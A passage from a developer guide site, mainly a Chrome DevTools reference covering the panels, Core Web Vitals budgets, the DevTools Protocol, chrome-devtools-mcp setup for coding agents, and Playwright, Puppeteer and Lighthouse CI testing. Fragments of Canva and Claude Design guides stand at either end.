Create asset upload (binary or URL) 30
Poll asset upload 180
Create autofill 60
Poll autofill / export / resize / import 120
List / get brand templates, get dataset 100
Publish brand template (preview) 20
Get/list designs, folders, assets 100
users/me, capabilities, profile, OIDC userinfo 10

Exports have extra throttles; see §5.

11. Apps SDK (apps inside Canva)

Use the Apps SDK only for in-editor apps. It runs in an iframe with a strict CSP, and your backend must allow CORS. All new apps must implement at least one intent: Content Publisher, Data Connector, Design Editor, or URL Expander.

Package Version (npm, 2026-10-20)
@canva/app-ui-kit 5.15.0
@canva/design 2.13.1
@canva/intents 2.7.1
@canva/asset 2.3.1
@canva/user 2.3.0
@canva/platform 2.2.3
@canva/error 2.2.2
@canva/app-components 2.8.1
@canva/app-i18n-kit 1.3.0
@canva/app-scripts 1.1.2

Canva injects the SDK methods at runtime; the npm packages contain only type declarations. Rolling a package back therefore never fixes a runtime bug. Preview methods ship under the @beta dist-tag, and apps that use them fail app review.

codeAmani notes

Official docs:

Chrome DevTools Developer Training & Resource Guide

Technology: chrome-devtools · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/chrome-devtools

Insight:

Chrome DevTools is three things at once: a manual UI (the panels you open with F12), a protocol (CDP, which makes everything the UI does scriptable), and an agent surface (chrome-devtools-mcp 1.11.0, which Google now calls "Chrome DevTools for agents" and which lets Claude Code drive a real Chrome). The throughline is verify in a real browser instead of trusting the diff. Core Web Vitals are the scoreboard: LCP ≤ 2.5s, INP ≤ 200ms, CLS ≤ 0.1 at the 75th percentile. Two traps: the MCP's lighthouse_audit doesn't cover performance (use performance_start_trace), and on Windows the server's npx start-up can exceed Claude Code's MCP connect timeout, so set MCP_TIMEOUT or install the package globally.

 ██████╗██╗  ██╗██████╗  ██████╗ ███╗   ███╗███████╗
██╔════╝██║  ██║██╔══██╗██╔═══██╗████╗ ████║██╔════╝
██║     ███████║██████╔╝██║   ██║██╔████╔██║█████╗
██║     ██╔══██║██╔══██╗██║   ██║██║╚██╔╝██║██╔══╝
╚██████╗██║  ██║██║  ██║╚██████╔╝██║ ╚═╝ ██║███████╗
 ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝

██████╗ ███████╗██╗   ██╗████████╗ ██████╗  ██████╗ ██╗     ███████╗
██╔══██╗██╔════╝██║   ██║╚══██╔══╝██╔═══██╗██╔═══██╗██║     ██╔════╝
██║  ██║█████╗  ██║   ██║   ██║   ██║   ██║██║   ██║██║     ███████╗
██║  ██║██╔══╝  ╚██╗ ██╔╝   ██║   ██║   ██║██║   ██║██║     ╚════██║
██████╔╝███████╗ ╚████╔╝    ██║   ╚██████╔╝╚██████╔╝███████╗███████║
╚═════╝ ╚══════╝  ╚═══╝     ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝╚══════╝

Chrome DevTools Developer Training & Resource Guide

Focus: Everything a developer can do with Chrome DevTools: the panels, the Chrome DevTools Protocol (CDP), the chrome-devtools-mcp server for Claude Code / Cursor / VS Code, Core Web Vitals budgets, and testing with Playwright, Puppeteer and Lighthouse CI. Grounded in developer.chrome.com, web.dev, the official MCP repo at tag chrome-devtools-mcp-v1.11.0, and the Claude Code MCP docs. Reviewed 2026-10-20.

Pinned versions in this guide (from npm view, 2026-10-20):

Package Version Notes
chrome-devtools-mcp 1.11.0 (2026-10-15) Node ^20.19.0 || ^22.12.0 || >=23; ships the chrome-devtools-mcp and chrome-devtools (CLI) binaries
puppeteer 25.14.0 Same version the MCP server is built on
playwright / @playwright/test 1.64.1
lighthouse 13.5.0 Adds the "Agentic Browsing" category (13.3.0+)
web-vitals 6.2.3
@lhci/cli 0.15.1
Chrome stable 155 to 156 156.0.8078.36 was rolling out on 2026-10-20

How to use this guide

DevTools has three faces. Learn them in this order:

  1. The panels (manual): Part 1. What you open with F12 / Cmd+Opt+I to inspect, debug and profile by hand.
  2. The protocol (scriptable): Part 3. Everything the UI does, exposed as a WebSocket API that Playwright, Puppeteer, Lighthouse and the MCP all build on.
  3. The agent surface (Claude Code): Part 4. chrome-devtools-mcp lets an agent drive a real browser to verify your work.

The interactive learn module above this page is a live Core Web Vitals + network-throttle playground. Start there to build intuition, then use the reference below.


Overview

Chrome DevTools is the browser's built-in inspection, debugging and profiling suite. Under the UI sits the Chrome DevTools Protocol (CDP), a JSON-over-WebSocket API that exposes the same capabilities to automation. chrome-devtools-mcp (Google LLC, Apache-2.0) wraps a Puppeteer-driven Chrome as an MCP server so a coding agent can navigate, click, screenshot, read the console and network, record performance traces, run Lighthouse and analyse heap snapshots. Google's docs now call it "Chrome DevTools for agents"; it went stable in Chrome 149 (June 2026). It is the practical way to test in a browser before claiming done.

flowchart TB
  DT["Chrome DevTools"] --> UI["Panels (F12)<br/>Elements · Console · Network · Performance"]
  DT --> CDP["Chrome DevTools Protocol"]
  CDP --> AUTO["Playwright · Puppeteer · Lighthouse"]
  CDP --> MCP["chrome-devtools-mcp<br/>(DevTools for agents)"]
  MCP --> AGENTS["Claude Code · Cursor · VS Code Copilot"]

Official Documentation

Resource URL
Chrome DevTools docs https://developer.chrome.com/docs/devtools
What's new in DevTools (monthly since Sept 2026) https://developer.chrome.com/docs/devtools/news
Chrome DevTools Protocol (CDP) https://chromedevtools.github.io/devtools-protocol/
chrome-devtools-mcp repo https://github.com/ChromeDevTools/chrome-devtools-mcp
MCP tool reference https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/tool-reference.md
MCP configuration (all flags) https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/configuration.md
MCP troubleshooting https://github.com/ChromeDevTools/chrome-devtools-mcp/blob/main/docs/troubleshooting.md
Web Vitals https://web.dev/articles/vitals
Playwright https://playwright.dev/docs/intro
Puppeteer https://pptr.dev
Lighthouse CI https://github.com/GoogleChrome/lighthouse-ci

Part 1 — The DevTools panels

Open DevTools with F12, Cmd+Opt+I (macOS) or Ctrl+Shift+I (Windows/Linux). The Command Menu (Cmd/Ctrl+Shift+P) jumps to any panel or action by name, and is the most useful single shortcut.

Panel What it's for Reach for it when…
Elements Inspect and edit the live DOM and CSS (the Styles pane) Tweaking layout, debugging CSS specificity, checking computed styles
Console Log output plus a live JS REPL against the page Reading errors, poking at window/page state, quick scripting
Sources View files, set breakpoints, step through JS, edit and save (Workspaces) Debugging logic, watching variables, ignore-listing scripts
Network Every request and response, timing, headers, throttling Checking payload size, caching, CORS, slow-connection behaviour
Performance Record a trace of main-thread work; Live Metrics for Core Web Vitals; Insights Diagnosing jank, long tasks, layout thrash, slow LCP, soft navigations
Memory Heap snapshots and allocation timelines Hunting memory leaks and detached DOM nodes
Application Storage (localStorage, IndexedDB, cookies), Service Workers, Cache, manifest, Ads Debugging PWAs, auth cookies, offline behaviour, ad cost
Lighthouse One-click audit: Performance, Accessibility, Best Practices, SEO, Agentic Browsing A scored baseline plus prioritised fixes
Recorder Record, replay and measure a user flow; export to Puppeteer/Playwright Turning a manual flow into a repeatable test
Privacy and security Certificates, mixed content, third-party cookie controls Verifying a page is fully HTTPS and cookie-clean
Rendering (drawer) Paint flashing, FPS meter, emulate prefers-color-scheme and other media features Spotting unnecessary repaints, testing dark mode
Coverage (drawer) Unused JS/CSS per file Trimming dead code from the bundle
Issues / Changes / Animations / Sensors / WebAuthn Aggregated warnings · CSS diff · animation timeline · geolocation/orientation emulation · authenticator emulation Targeted debugging of each concern

Open drawer tools with Esc, then the ⋮ menu > More tools, or through the Command Menu.

Elements + Styles — DOM & CSS

Inspect     Cmd/Ctrl+Shift+C, then click an element
Edit DOM    double-click a node / press F2
Force state :hov → toggle :hover/:focus/:active to debug states
Color       click a swatch in Styles for the eyedropper + contrast ratio
Specificity hover a selector to see its specificity breakdown (Chrome 151+)
Inactive    rules that matched earlier but no longer apply can stay visible,
            marked inactive (Settings, Chrome 153/154)

The contrast ratio readout in the colour picker is the fastest accessibility check. It flags AA/AAA pass or fail inline.

Console — REPL + logging

// $0 is the currently-selected Elements node; $$ is querySelectorAll
$0.getBoundingClientRect();
$$('img:not([alt])');                 // find images missing alt text
monitorEvents($0, 'click');           // log events on an element
copy(JSON.stringify(window.__DATA__)); // copy a value to clipboard
console.table(performance.getEntriesByType('resource')); // request table

Sources — the debugger

Breakpoint        click a line number
Conditional bp    right-click a line → "Add conditional breakpoint"
Logpoint          inject a console.log without editing source
DOM breakpoint    Elements → right-click → "Break on" → subtree/attribute change
Step              F10 over · F11 into · Shift+F11 out · F8 resume

Network — payload & throttling

Throttling presets (Chrome 127+):  Offline · 3G · Slow 4G · Fast 4G · Custom
  ("Slow 3G" was renamed "3G" and "Fast 3G" became "Slow 4G" in Chrome 127.
   DevTools does not publish exact kbps; the presets track real-world data.)
Per-request throttling  throttle a single request (Chrome 144+)
Disable cache     tick the box (while DevTools is open) to test cold loads
Filter            larger-than:500k   -domain:*.google.com   mixed-content:all
Copy as cURL      right-click a request → reproduce it from the terminal
                  (the "cmd" variant now caret-escapes for Windows cmd.exe)
Edit and resend   right-click → "Edit and resend as fetch" opens the Console
                  with a ready fetch() call (Chrome 153/154)

codeAmani habit: test every page with Disable cache on and the Slow 4G preset. For Kenya-targeted projects, test under 3G as well. If LCP goes past 2.5s, the bundle is too heavy for that connection: lazy-load and split before shipping.

Performance — traces & Core Web Vitals

Live Metrics  open the panel: local LCP / CLS / INP update as you use the page
Record        click ● (or Cmd/Ctrl+E) → interact → stop
Reload trace  click ⟳ to capture a full page load
Read it       Main track = JS/layout/paint; red-cornered bars = long tasks (>50ms)
Insights      sidebar lists LCP breakdown, render-blocking requests, etc.
CPU           calibrated CPU throttling presets (Chrome 134+)
Soft navs     SPA route changes are measured end to end (Chrome 152 to 154)

Application — storage & PWAs

Service Workers   update-on-reload, bypass-for-network, push test
Storage           localStorage / sessionStorage / IndexedDB / Cookies (edit inline,
                  including cookie flags)
Clear storage     one button to reset to a first-visit state
Manifest          installability + icon/colour validation for PWAs
Ads               ad density, ad CPU/network cost, ad scripts table (Chrome 153/154)

Device Mode

Cmd/Ctrl+Shift+M toggles device emulation. Since the October 2026 release the presets are grouped as Mobile, Foldables, Tablets & Desktops and Smart Displays, with current devices such as Pixel 9/10, iPhone 16 and Galaxy Z Fold 6. Emulation changes viewport, DPR, touch and user agent. It does not reproduce a real phone's GPU, radio or thermal limits.


Part 2 — Core Web Vitals & performance budgets

These are the scores for real-user performance. Thresholds are measured at the 75th percentile of page loads, split by mobile and desktop (source: web.dev/articles/vitals).

Metric Measures Good Needs improvement Poor
LCP: Largest Contentful Paint Loading ≤ 2.5 s 2.5 – 4.0 s > 4.0 s
INP: Interaction to Next Paint Interactivity ≤ 200 ms 200 – 500 ms > 500 ms
CLS: Cumulative Layout Shift Visual stability ≤ 0.1 0.1 – 0.25 > 0.25

INP replaced FID as a Core Web Vital in March 2024. It measures the latency of all interactions, not just the first.

Supporting diagnostics:

Metric Good threshold Helps explain
FCP: First Contentful Paint ≤ 1.8 s LCP
TTFB: Time to First Byte ≤ 0.8 s FCP / LCP

Measure vitals in code (field data)

npm install web-vitals@6.2.3
import { onLCP, onINP, onCLS, type Metric } from "web-vitals";

// Field data: report from real users to your own endpoint
const send = (m: Metric) => navigator.sendBeacon("/api/vitals", JSON.stringify(m));
onLCP(send);
onINP(send);
onCLS(send);

A fuller version with FCP/TTFB and a fetch fallback is in examples/web-vitals-field.ts.

Lab vs field: DevTools, Lighthouse and the MCP give you lab data (one synthetic run). web-vitals plus analytics give you field data (real users, the 75th percentile that counts). The MCP's performance trace also pulls CrUX field data for public URLs (see Privacy). Optimise in the lab, then verify in the field.


Part 3 — Chrome DevTools Protocol (CDP)

Everything the UI does is a CDP command, and Playwright, Puppeteer, Lighthouse and the MCP all use it. Start Chrome with a debugging port and you can drive it from any of them:

# Launch Chrome with the protocol exposed. Chrome requires a NON-default
# --user-data-dir when remote debugging is on.
google-chrome --remote-debugging-port=9222 --user-data-dir=/tmp/chrome-debug --headless=new

# List targets (tabs); each has a webSocketDebuggerUrl
curl http://127.0.0.1:9222/json
# Windows
& "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --user-data-dir="$env:TEMP\chrome-debug"
// Raw CDP through Puppeteer's session: slow network + 4x CPU slowdown
import puppeteer from "puppeteer";

const browser = await puppeteer.launch({ headless: true });
const page = await browser.newPage();
const client = await page.createCDPSession();
await client.send("Network.emulateNetworkConditions", {
  offline: false,
  latency: 150,
  downloadThroughput: (1.6 * 1024 * 1024) / 8,
  uploadThroughput: (750 * 1024) / 8,
});
await client.send("Emulation.setCPUThrottlingRate", { rate: 4 });

Domains you'll use most: Page, Network, Runtime, Performance, Emulation, DOM, Accessibility. New in Chrome 153/154: Emulation.setCPUPerformanceOverride for calibrated, reproducible CPU tiers. Full reference: chromedevtools.github.io/devtools-protocol.

Security: an open debugging port lets any local process control that browser. Use a throwaway --user-data-dir, never your daily profile, and don't browse sensitive sites while the port is open.


Part 4 — chrome-devtools-mcp (DevTools for agents)

The official chrome-devtools-mcp server (Google LLC, Apache-2.0; 1.11.0, released 2026-10-15) runs a Puppeteer-controlled Chrome and exposes it as MCP tools. Release cadence is roughly every two to four weeks (1.7.0 Aug 10 → 1.8.0 Aug 25 → 1.9.0 Sep 8 → 1.10.0/1.10.1 Sep 23 → 1.11.0 Oct 15).

Requirements: Node.js LTS that satisfies ^20.19.0 || ^22.12.0 || >=23; Chrome current stable or newer (Chrome and Chrome for Testing are the only officially supported browsers); npm.

Setup — Claude Code

Pick one of these two methods. Installing both gives you two servers fighting over one Chrome profile.

A. Plugin (MCP server + skills). This is what the codeAmani machine uses (chrome-devtools-mcp@claude-plugins-official). It bundles skills: chrome-devtools, a11y-debugging, debug-optimize-lcp, memory-leak-debugging, cookie-debugging, chrome-devtools-cli and troubleshooting.

/plugin marketplace add ChromeDevTools/chrome-devtools-mcp
/plugin install chrome-devtools-mcp@chrome-devtools-plugins

Restart Claude Code, then check with /skills and /mcp. The plugin pins the server version (1.11.0 runs npx --prefix ${PLUGIN_DATA} chrome-devtools-mcp@1.11.0), and its MCP server shows up as plugin:chrome-devtools-mcp:chrome-devtools.

B. CLI (MCP server only).

claude mcp add chrome-devtools --scope user -- npx -y chrome-devtools-mcp@latest

Project-scoped .mcp.json (committed, shared with the team). The full file is in examples/mcp-config.json:

{
  "mcpServers": {
    "chrome-devtools": {
      "type": "stdio",
      "command": "npx",
      "args": ["-y", "chrome-devtools-mcp@1.11.0", "--isolated", "--no-usage-statistics"]
    }
  }
}

Pin a version (@1.11.0) in shared project config so everyone runs the same tool surface. Use @latest only in personal, user-scoped config.

Setup — Cursor and VS Code

Client How
Cursor Cursor Settings → MCP → New MCP Server, paste the standard config (npx -y chrome-devtools-mcp@latest), or use the "Install in Cursor" deeplink in the repo's docs/client-configurations.md
VS Code / Copilot Recommended: Command Palette → Chat: Install Plugin From Source → ChromeDevTools/chrome-devtools-mcp (server + skills). MCP only: code --add-mcp '{"name":"io.github.ChromeDevTools/chrome-devtools-mcp","command":"npx","args":["-y","chrome-devtools-mcp"],"env":{}}'
VS Code on Windows (PowerShell) Escape the quotes as the repo shows: code --add-mcp '{"""name""":"""io.github.ChromeDevTools/chrome-devtools-mcp""","""command""":"""npx""","""args""":["""-y""","""chrome-devtools-mcp"""]}'
Codex / Gemini CLI / Grok Build / others See the repo's docs/client-configurations.md (about 25 clients listed)

First prompt to confirm it works: Check the performance of https://developers.chrome.com. The server only launches Chrome when a tool first needs a browser. Connecting the MCP server alone does not open a window.

Tools (1.11.0)

The tool reference lists 59 tools. A default install exposes 32 (confirmed with a live tools/list on 2026-10-20). The others sit behind flags.

Group Default tools Behind a flag
Input (10) click · drag · fill · fill_form · handle_dialog · hover · press_key · type_text · upload_file click_at (x,y): --experimentalVision
Navigation (6) new_page · navigate_page · list_pages · select_page · close_page · wait_for
Emulation (2) emulate · resize_page
Performance (3) performance_start_trace · performance_stop_trace · performance_analyze_insight
Network (2) list_network_requests · get_network_request
Debugging (9) take_snapshot · take_screenshot · evaluate_script · list_console_messages · get_console_message · get_css_styles · lighthouse_audit · screencast_start · screencast_stop
Memory (14) take_heapsnapshot the 13 analysis tools (compare_heapsnapshots, get_heapsnapshot_summary/dominators/retainers/retaining_paths/edges/details/class_nodes/object_details/duplicate_strings, query_heapsnapshot_objects, analyze_heapsnapshot_contexts, close_heapsnapshot): --memoryDebugging
Extensions (5) install_extension · list_extensions · reload_extension · trigger_extension_action · uninstall_extension: --categoryExtensions
PWA (4) install_pwa · launch_pwa · uninstall_pwa · get_os_app_state: --categoryPwa (launched-browser/pipe mode only)
Third-party (2) list_3p_developer_tools · execute_3p_developer_tool: --categoryExperimentalThirdParty
WebMCP (2) list_webmcp_tools · execute_webmcp_tool: --categoryExperimentalWebmcp (Chrome 150+ with --enable-features=WebMCP)

--slim replaces all of this with 3 tools (navigate, evaluate, screenshot) for basic browsing at minimal context cost.

Changes since the August guide (1.7.0), and corrections to it:

take_snapshot returns the accessibility tree with a uid per element. Use it to locate elements by role and name instead of brittle CSS selectors, and prefer it over screenshots: it costs far fewer tokens. Tool names change between releases, so check the live list with /mcp after upgrading.

Key server flags

All flags also work as camelCase keys in a JSON config file (--config <path>, or auto-discovered at %LOCALAPPDATA%\Google\cd4a\config.json on Windows and ~/.config/cd4a/config.json on macOS/Linux; 1.11.0). Command-line flags override the file.

Flag Default Use it for
--headless false No window. Use in CI or when you don't need to watch
--isolated false Temporary profile, deleted on close. Use for parallel sessions or a clean slate
--userDataDir <dir> %USERPROFILE%\.cache\chrome-devtools-mcp\chrome-profile Persistent profile. Only one browser can use it at a time
--channel stable|beta|dev|canary stable Test against a newer Chrome
--executablePath <path> / -e auto Point at a specific Chrome binary. There is no CHROME_PATH env var; use this flag
--browserUrl http://127.0.0.1:9222 / -u Attach to a Chrome you started with --remote-debugging-port
--wsEndpoint ws://… + --wsHeaders Attach over a raw WebSocket (with auth headers)
--autoConnect false Attach to your running Chrome 144+ after enabling it at chrome://inspect/#remote-debugging
--viewport 1280x720 Initial window size (headless max 3840x2160)
--slim false 3-tool minimal mode
--memoryDebugging false The 13 heap-analysis tools
--experimentalVision false click_at(x, y) for computer-use models
--categoryExtensions / --categoryPwa / --categoryExperimentalThirdParty / --categoryExperimentalWebmcp false Opt-in tool groups
--category<Input|Navigation|Emulation|Performance|Network|Debugging|Memory>=false true Drop a whole group to save context
--no-usage-statistics stats on Opt out of Google's usage telemetry (also off when CI is set)
--no-performance-crux CrUX on Stop sending trace URLs to the CrUX API
--no-javascript-evaluation eval on Disable evaluate_script, initScript and javascript:/data: navigations (not a sandbox)
--no-file-navigations allowed Reject file: URLs (1.11.0)
--allowedUrlPattern / --blockedUrlPattern Restrict which URLs the browser may load (allow-list needs Chrome 149+)
--redactNetworkHeaders false Redact sensitive headers in network tool output
--acceptInsecureCerts false Self-signed local HTTPS (use with care)
--screenshotFormat jpeg|webp + --screenshotMaxWidth png / none Smaller screenshots, which means fewer image tokens
--filesystemRoot <dir> (alias --workspace) OS temp dir Where file-writing tools (traces, screenshots, heap snapshots) may write when the client doesn't send MCP roots
--logFile <path> Debug log. Combine with the NODE_DEBUG env var set to *
--proxyServer, --chromeArg, --ignoreDefaultChromeArg Pass-through Chrome launch options

Run npx chrome-devtools-mcp@1.11.0 --help for the authoritative list.

The chrome-devtools CLI (experimental)

The same package ships a terminal CLI that talks to a background daemon (named pipes on Windows). It is useful for scripting, and for checking the server works without an MCP client:

npm i -g chrome-devtools-mcp@1.11.0
chrome-devtools status
chrome-devtools new_page "http://localhost:3000"
chrome-devtools take_screenshot 1 --filePath shot.png
chrome-devtools lighthouse_audit 1 --mode snapshot
chrome-devtools stop

The CLI defaults to headless, isolated and unrestricted filesystem access. Pass --workspace=<dir> to chrome-devtools start to confine it.

Privacy, telemetry and security defaults


Part 5 — Claude Code workflows

Skill: visual + accessibility + performance check

Custom slash commands are now skills. Save this as .claude/skills/browser-check/SKILL.md (an existing .claude/commands/browser-check.md still works) and invoke it with /browser-check http://localhost:3000/dashboard:

---
name: browser-check
description: Load a URL in Chrome via the chrome-devtools MCP and report layout, a11y, performance and console problems.
---
Check $ARGUMENTS in a real browser using the chrome-devtools MCP tools.

1. `new_page` with url $ARGUMENTS; note the returned pageId and pass it to every call below.
2. `emulate` with viewport "412x915x2.625,mobile,touch", networkConditions "Slow 4G", cpuThrottlingRate 4.
3. `take_screenshot`, then `take_snapshot` (a11y tree).
4. `performance_start_trace` with reload true, autoStop true, ignoreCache true.
   Report LCP, CLS and INP against the budgets (LCP <= 2.5 s, CLS <= 0.1, INP <= 200 ms)
   and drill into the worst insight with `performance_analyze_insight`.
5. `lighthouse_audit` with device "mobile" (accessibility, SEO, best practices, agentic browsing).
6. `list_console_messages` with types ["error", "warn"] and includeStackTraces true.
7. `close_page`.
Report: layout/contrast issues, perf vs budget, failing Lighthouse audits with their DOM nodes,
console errors with likely fixes.

The plugin's bundled debug-optimize-lcp and a11y-debugging skills cover the same ground in more depth.

Hook: nudge a browser check after a UI change

Hooks receive JSON on stdin (there is no $CLAUDE_TOOL_INPUT variable). .claude/settings.json:

{
  "hooks": {
    "PostToolUse": [
      {
        "matcher": "Edit|Write",
        "hooks": [
          {
            "type": "command",
            "command": "jq -r '.tool_input.file_path // empty' | grep -qE '\\.(tsx|jsx|css)$' && echo 'UI file changed: verify with /browser-check before claiming done' || true"
          }
        ]
      }
    ]
  }
}

Playwright — E2E tests

npm init playwright@latest
npx playwright test --ui        # interactive runner
npx playwright codegen <url>    # record a test by clicking
npx playwright show-trace trace.zip
// tests/auth.spec.ts
import { test, expect } from "@playwright/test";

test("user can sign in", async ({ page }) => {
  await page.goto("/login");
  await page.getByLabel("Email").fill("test@example.com");
  await page.getByLabel("Password").fill("placeholder-password");
  await page.getByRole("button", { name: "Sign in" }).click();
  await expect(page).toHaveURL("/dashboard");
  await expect(page.getByRole("heading", { level: 1 })).toContainText("Welcome");
});

test("renders within a slow-network budget", async ({ page }) => {
  const client = await page.context().newCDPSession(page);
  await client.send("Network.emulateNetworkConditions", {
    offline: false,
    latency: 300,
    downloadThroughput: (400 * 1024) / 8,
    uploadThroughput: (400 * 1024) / 8,
  });
  const t0 = Date.now();
  await page.goto("/", { waitUntil: "load" });
  expect(Date.now() - t0).toBeLessThan(8000); // hard ceiling on a slow link
});

CDP sessions are Chromium-only in Playwright.

Puppeteer — scripted browser

import puppeteer, { PredefinedNetworkConditions } from "puppeteer";

// headless: true IS the new headless mode; "shell" is the legacy headless shell.
const browser = await puppeteer.launch({ headless: true });
const page = await browser.newPage();
await page.emulateNetworkConditions(PredefinedNetworkConditions["Slow 3G"]);
await page.emulateCPUThrottling(4);
await page.goto("https://example.com", { waitUntil: "networkidle0" });
await page.screenshot({ path: "shot.png", fullPage: true });
await browser.close();

puppeteer.networkConditions no longer exists in Puppeteer 25. Import PredefinedNetworkConditions instead (keys: Slow 3G, Fast 3G, Slow 4G, Fast 4G). A runnable LCP/CLS budget check with a saved trace is in examples/puppeteer-3g-audit.mts.

Lighthouse CI — budgets in CI

# .github/workflows/lighthouse.yml
name: Lighthouse
on: [pull_request]
jobs:
  lighthouse:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with: { node-version: '22' }
      - run: npm ci && npm run build
      - run: npx @lhci/cli@0.15.1 autorun
        env: { LHCI_GITHUB_APP_TOKEN: "${{ secrets.LHCI_GITHUB_APP_TOKEN }}" }
// lighthouserc.js — fail the PR if budgets regress
module.exports = {
  ci: {
    collect: { startServerCommand: "npm run start", url: ["http://localhost:3000/"], numberOfRuns: 3 },
    assert: { assertions: {
      "categories:performance": ["warn", { minScore: 0.8 }],
      "categories:accessibility": ["error", { minScore: 0.9 }],
      "largest-contentful-paint": ["error", { maxNumericValue: 2500 }],
      "cumulative-layout-shift": ["error", { maxNumericValue: 0.1 }],
    } },
    upload: { target: "temporary-public-storage" },
  },
};

LHCI_GITHUB_APP_TOKEN is the token from the Lighthouse CI GitHub App and is stored as a repo secret. It is optional and only needed for status checks. Lighthouse 12 removed the PWA category; Lighthouse 13.3+ adds Agentic Browsing. temporary-public-storage uploads reports to a public URL, so don't use it for private staging sites.


Common use cases

Goal Fastest path
Verify a UI change MCP new_page → take_snapshot + take_screenshot
Accessibility audit take_snapshot (a11y tree) + lighthouse_audit, or the a11y-debugging skill
Performance / CWV performance_start_trace (reload, autoStop) → performance_analyze_insight; not lighthouse_audit
Check the slow-connection budget Network panel Slow 4G/3G + Disable cache, or MCP emulate
Find a memory leak Memory panel snapshots, or MCP with --memoryDebugging → compare_heapsnapshots
Diagnose jank Performance trace → long tasks (>50ms)
Debug CSS the agent can't see take_snapshot → get_css_styles(uid)
Reproduce an API call Network → Copy as cURL or Edit and resend as fetch
Record a test Recorder panel → export to Playwright, or playwright codegen
Trim the bundle Coverage drawer → delete unused JS/CSS

Troubleshooting

"MCP server chrome-devtools connection timed out after 30000ms" (Claude Code, Windows)

This is the failure on the codeAmani machine (plugin server plugin:chrome-devtools-mcp:chrome-devtools). The connect step only spawns npx and waits for the MCP initialize reply. Chrome is not launched yet, so this is not a Chrome problem. Measured on that machine on 2026-10-20, run on its own: npx -y chrome-devtools-mcp@1.11.0 answered initialize + tools/list in about 6 s with the package cached. The same session reported timeouts for several other npx/uvx servers at the same moment, which points to start-up contention (many servers resolving packages through npx at once) rather than a bug in this server. Work through these in order:

  1. Probe it outside the client. Run npx tsx chrome-devtools/examples/mcp-probe.mts. It prints the handshake time and the tool count (expect 32). If it is fast here but times out in Claude Code, go to step 2. If it errors, go to step 4.
  2. Raise the start-up timeout. Claude Code reads the MCP_TIMEOUT environment variable (milliseconds). Set it to 60000 before launching claude. In PowerShell: $env:MCP_TIMEOUT = "60000"; claude. To make it permanent, add it under "env" in ~/.claude/settings.json.
  3. Take npx out of the start-up path. npm i -g chrome-devtools-mcp@1.11.0, then register the binary directly with claude mcp add chrome-devtools --scope user -- chrome-devtools-mcp. If you do this, disable the plugin's copy in /plugin so the two don't collide.
  4. Windows npx shim problems (Connection closed, -32000, nothing on stdout): wrap with cmd /c, as in examples/mcp-config.windows.json: "command": "cmd", "args": ["/c", "npx", "-y", "chrome-devtools-mcp@1.11.0"]. Or give the absolute path to npx.cmd. Some clients also need SystemRoot and PROGRAMFILES passed in env (the repo's Codex-on-Windows recipe also uses a 20 s start-up timeout).
  5. Node mismatch. The client may launch a different Node than your terminal. Check node -v satisfies ^20.19.0 || ^22.12.0 || >=23. ERR_MODULE_NOT_FOUND usually means an old Node or a corrupted npx cache: delete %LOCALAPPDATA%\npm-cache\_npx and run npm cache clean --force.
  6. Turn on logs. Add "--logFile", "C:\\Users\\<you>\\AppData\\Local\\Temp\\cdm.log" to args and set NODE_DEBUG to * in the server's env. Then read the log after the next /mcp reconnect.
  7. Too many servers. Disable MCP servers you aren't using in this project. Every enabled stdio server is spawned at start-up.

Other problems

Issue Fix
Target closed / Chrome failed to start Another Chrome is using the same profile. Close it, or use --isolated. Also check Chrome stable is installed and up to date
Chrome not found / wrong Chrome --executablePath "C:\Program Files\Google\Chrome\Application\chrome.exe" (no CHROME_PATH env var exists)
Two agents fight over the browser Default profile allows one browser at a time. Give each session --isolated
Tool errors "pageId required" Page-ID routing has been the default since 1.8.0 (Aug 2026). Pass the pageId from new_page/list_pages, or start with --no-page-id-routing
lighthouse_audit shows no performance score By design. Use performance_start_trace
Heap tools missing Start with --memoryDebugging (only take_heapsnapshot is default)
Screenshots or traces won't save Paths are limited to the OS temp dir unless the client sends MCP roots. Add --filesystemRoot <dir>
WSL: server can't launch Windows Chrome Known WSL issue. Install Chrome inside WSL, or start Windows Chrome with --remote-debugging-port=9222 plus mirrored networking and use --browserUrl. Or run from PowerShell/Git Bash instead
--autoConnect times out Chrome 144+ must already be running, with remote debugging allowed at chrome://inspect/#remote-debugging and the prompt accepted. Avoid hundreds of open tabs
OS sandbox blocks Chrome Disable sandboxing for this server, or start Chrome yourself and use --browserUrl
Running as root (containers/CI) Chrome refuses to start as root. Run as a non-root user
Plugin install: Failed to clone repository GitHub HTTPS blocked. Use the CLI install (method B)
CDP connection refused (scripts) Launch Chrome with --remote-debugging-port=9222 --user-data-dir=<non-default dir>
Playwright browser missing npx playwright install chromium
Lighthouse times out Raise --max-wait-for-load, or reduce CPU throttling
Throttling preset names differ DevTools UI (Chrome 127+): 3G / Slow 4G / Fast 4G. Puppeteer and MCP emulate: Slow 3G / Fast 3G / Slow 4G / Fast 4G
INP shows "—" INP needs a real interaction. Click or type, then re-measure

codeAmani notes

Official docs:

Claude Design Integration Guide

Technology: claude-design · Category: design · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/claude-design

Insight:

Claude Design is no longer a separate app: since 16 Sep 2026 it is the Design template for artifacts, available in any Claude chat, the Artifacts tab, mobile, and Claude Code (/design, v2.1.265+), on every plan including Free. The standalone claude.ai/design site closes 14 Dec 2026 — migrate design systems now; chats and comments there are not carried over. There is still no generation API or SDK: the only programmatic surfaces are the Enterprise Analytics API (claude_design usage metrics) and the Compliance API for artifacts. Usage now draws from the plan's shared limits.

 ██████╗██╗      █████╗ ██╗   ██╗██████╗ ███████╗
██╔════╝██║     ██╔══██╗██║   ██║██╔══██╗██╔════╝
██║     ██║     ███████║██║   ██║██║  ██║█████╗
██║     ██║     ██╔══██║██║   ██║██║  ██║██╔══╝
╚██████╗███████╗██║  ██║╚██████╔╝██████╔╝███████╗
 ╚═════╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚══════╝

██████╗ ███████╗███████╗██╗ ██████╗ ███╗   ██╗
██╔══██╗██╔════╝██╔════╝██║██╔════╝ ████╗  ██║
